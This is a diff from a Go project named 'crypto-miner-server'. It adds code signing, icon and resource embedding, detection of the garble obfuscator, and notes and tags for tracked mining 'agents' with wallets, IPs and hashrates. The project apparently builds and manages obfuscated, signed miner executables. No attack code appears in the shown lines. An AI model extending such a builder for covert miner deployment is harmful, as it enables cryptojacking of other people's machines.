log.Printf("[Fusion] Applied icon from %s", filepath.Base(prepPath))
|
||||
return nil
|
||||
}
|
||||
|
||||
// peSubsystem returns the Windows PE subsystem id (2=GUI, 3=CUI).
|
||||
func peSubsystem(exePath string) int {
|
||||
data, err := os.ReadFile(exePath)
|
||||
if err != nil || len(data) < 128 {
|
||||
|
||||
13
server/internal/builder/sign_stub.go
Normal file
13
server/internal/builder/sign_stub.go
Normal file
@@ -0,0 +1,13 @@
|
||||
//go:build !windows
|
||||
|
||||
package builder
|
||||
|
||||
import "fmt"
|
||||
|
||||
func (h *Handler) shouldSignBuild(req *BuildRequest) bool {
|
||||
return false
|
||||
}
|
||||
|
||||
func (h *Handler) signExecutable(path string) error {
|
||||
return fmt.Errorf("code signing requires building on Windows")
|
||||
}
|
||||
79
server/internal/builder/sign_windows.go
Normal file
79
server/internal/builder/sign_windows.go
Normal file
@@ -0,0 +1,79 @@
|
||||
//go:build windows
|
||||
|
||||
package builder
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func (h *Handler) shouldSignBuild(req *BuildRequest) bool {
|
||||
if !h.policy.Sign.Enabled || strings.TrimSpace(h.policy.Sign.CertThumbprint) == "" {
|
||||
return false
|
||||
}
|
||||
return req.SignBuild
|
||||
}
|
||||
|
||||
func (h *Handler) signExecutable(path string) error {
|
||||
policy := h.policy.Sign
|
||||
tool := strings.TrimSpace(policy.ToolPath)
|
||||
if tool == "" {
|
||||
var err error
|
||||
tool, err = findSignTool()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
tsURL := strings.TrimSpace(policy.TimestampURL)
|
||||
if tsURL == "" {
|
||||
tsURL = "http://timestamp.digicert.com"
|
||||
}
|
||||
|
||||
args := []string{
|
||||
"sign",
|
||||
"/fd", "SHA256",
|
||||
"/tr", tsURL,
|
||||
"/td", "SHA256",
|
||||
"/sha1", strings.TrimSpace(policy.CertThumbprint),
|
||||
path,
|
||||
}
|
||||
cmd := exec.Command(tool, args...)
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
return fmt.Errorf("signtool: %w (%s)", err, strings.TrimSpace(string(out)))
|
||||
}
|
||||
log.Printf("[Forge] Signed %s", filepath.Base(path))
|
||||
return nil
|
||||
}
|
||||
|
||||
func findSignTool() (string, error) {
|
||||
if p, err := exec.LookPath("signtool"); err == nil {
|
||||
return p, nil
|
||||
}
|
||||
if p, err := exec.LookPath("signtool.exe"); err == nil {
|
||||
return p, nil
|
||||
}
|
||||
|
||||
roots := []string{
|
||||
os.Getenv("ProgramFiles(x86)"),
|
||||
os.Getenv("ProgramFiles"),
|
||||
}
|
||||
for _, root := range roots {
|
||||
if root == "" {
|
||||
continue
|
||||
}
|
||||
kits := filepath.Join(root, "Windows Kits", "10", "bin")
|
||||
matches, _ := filepath.Glob(filepath.Join(kits, "*", "x64", "signtool.exe"))
|
||||
for i := len(matches) - 1; i >= 0; i-- {
|
||||
if _, err := os.Stat(matches[i]); err == nil {
|
||||
return matches[i], nil
|
||||
}
|
||||
}
|
||||
}
|
||||
return "", fmt.Errorf("signtool.exe not found — install Windows SDK or set sign_tool_path in Calibrate")
|
||||
}
|
||||
54
server/internal/builder/winres.go
Normal file
54
server/internal/builder/winres.go
Normal file
@@ -0,0 +1,54 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func (h *Handler) runGoWinres(dir string, args ...string) ([]byte, error) {
|
||||
if h.goWinresPath != "" {
|
||||
cmd := exec.Command(h.goWinresPath, args...)
|
||||
if dir != "" {
|
||||
cmd.Dir = dir
|
||||
}
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
return out, fmt.Errorf("%w (%s)", err, strings.TrimSpace(string(out)))
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
modDir := h.serverModDir
|
||||
if modDir == "" {
|
||||
modDir = "."
|
||||
}
|
||||
cmd := exec.Command(h.goBinPath, append([]string{"run", "github.com/tc-hib/go-winres"}, args...)...)
|
||||
cmd.Dir = modDir
|
||||
if dir != "" {
|
||||
cmd.Dir = dir
|
||||
}
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
return out, fmt.Errorf("%w (%s)", err, strings.TrimSpace(string(out)))
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (h *Handler) resolveToolPaths(projectRoot string) {
|
||||
if h.goBinPath == "" {
|
||||
h.goBinPath = "go"
|
||||
}
|
||||
if h.serverModDir == "" {
|
||||
h.serverModDir = filepath.Join(projectRoot, "server")
|
||||
}
|
||||
if p, err := exec.LookPath("garble"); err == nil {
|
||||
h.garblePath = p
|
||||
}
|
||||
if p, err := exec.LookPath("go-winres"); err == nil {
|
||||
h.goWinresPath = p
|
||||
} else if p, err := exec.LookPath("go-winres.exe"); err == nil {
|
||||
h.goWinresPath = p
|
||||
}
|
||||
}
|
||||
58
server/internal/db/agent_meta.go
Normal file
58
server/internal/db/agent_meta.go
Normal file
@@ -0,0 +1,58 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
func decodeTags(raw string) []string {
|
||||
raw = strings.TrimSpace(raw)
|
||||
if raw == "" || raw == "[]" {
|
||||
return []string{}
|
||||
}
|
||||
var tags []string
|
||||
if err := json.Unmarshal([]byte(raw), &tags); err != nil {
|
||||
return []string{}
|
||||
}
|
||||
return tags
|
||||
}
|
||||
|
||||
func encodeTags(tags []string) string {
|
||||
if len(tags) == 0 {
|
||||
return "[]"
|
||||
}
|
||||
b, _ := json.Marshal(tags)
|
||||
return string(b)
|
||||
}
|
||||
|
||||
func (d *Database) scanAgent(row interface {
|
||||
Scan(dest ...any) error
|
||||
}) (*models.Agent, error) {
|
||||
a := &models.Agent{}
|
||||
var notes, tagsRaw string
|
||||
err := row.Scan(
|
||||
&a.ID, &a.Name, &a.Wallet, &a.IP, &a.Version, &a.Status,
|
||||
&a.CPUCores, &a.MemoryGB, &a.LastSeen, &a.CreatedAt,
|
||||
&a.Hashrate15s, &a.Hashrate1m, &a.Hashrate15m,
|
||||
&a.SharesTotal, &a.SharesGood, &a.SharesBad,
|
||||
&a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds,
|
||||
¬es, &tagsRaw,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
a.Notes = notes
|
||||
a.Tags = decodeTags(tagsRaw)
|
||||
return a, nil
|
||||
}
|
||||
|
||||
const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
|
||||
hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad,
|
||||
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags`
|
||||
|
||||
func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error {
|
||||
_, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id)
|
||||
return err
|
||||
}
|
||||
@@ -111,6 +111,8 @@ func (d *Database) migrate() error {
|
||||
|
||||
// Best-effort schema upgrades for existing databases.
|
||||
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN file_path TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN notes TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN tags TEXT NOT NULL DEFAULT '[]'`)
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -150,24 +152,12 @@ func (d *Database) SetAgentOffline(id string) error {
|
||||
}
|
||||
|
||||
func (d *Database) GetAgent(id string) (*models.Agent, error) {
|
||||
a := &models.Agent{}
|
||||
query := `SELECT id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
|
||||
hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad, cpu_usage_pct, memory_usage_pct, uptime_seconds
|
||||
FROM agents WHERE id = ?`
|
||||
err := d.QueryRow(query, id).Scan(&a.ID, &a.Name, &a.Wallet, &a.IP, &a.Version, &a.Status,
|
||||
&a.CPUCores, &a.MemoryGB, &a.LastSeen, &a.CreatedAt,
|
||||
&a.Hashrate15s, &a.Hashrate1m, &a.Hashrate15m, &a.SharesTotal, &a.SharesGood, &a.SharesBad,
|
||||
&a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return a, nil
|
||||
query := `SELECT ` + agentSelectCols + ` FROM agents WHERE id = ?`
|
||||
return d.scanAgent(d.QueryRow(query, id))
|
||||
}
|
||||
|
||||
func (d *Database) ListAgents() ([]*models.Agent, error) {
|
||||
query := `SELECT id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
|
||||
hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad, cpu_usage_pct, memory_usage_pct, uptime_seconds
|
||||
FROM agents ORDER BY last_seen DESC`
|
||||
query := `SELECT ` + agentSelectCols + ` FROM agents ORDER BY last_seen DESC`
|
||||
rows, err := d.Query(query)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -176,11 +166,8 @@ func (d *Database) ListAgents() ([]*models.Agent, error) {
|
||||
|
||||
var agents []*models.Agent
|
||||
for rows.Next() {
|
||||
a := &models.Agent{}
|
||||
if err := rows.Scan(&a.ID, &a.Name, &a.Wallet, &a.IP, &a.Version, &a.Status,
|
||||
&a.CPUCores, &a.MemoryGB, &a.LastSeen, &a.CreatedAt,
|
||||
&a.Hashrate15s, &a.Hashrate1m, &a.Hashrate15m, &a.SharesTotal, &a.SharesGood, &a.SharesBad,
|
||||
&a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds); err != nil {
|
||||
a, err := d.scanAgent(rows)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
agents = append(agents, a)
|
||||
|
||||
@@ -24,6 +24,9 @@ type Agent struct {
|
||||
CPUUsagePct float64 `json:"cpu_usage_pct"`
|
||||
MemoryUsagePct float64 `json:"memory_usage_pct"`
|
||||
UptimeSeconds int `json:"uptime_seconds"`
|
||||
|
||||
Notes string `json:"notes"`
|
||||
Tags []string `json:"tags"`
|
||||
}
|
||||
|
||||
type Share struct {
|
||||
|
||||
Reference in New Issue
Block a user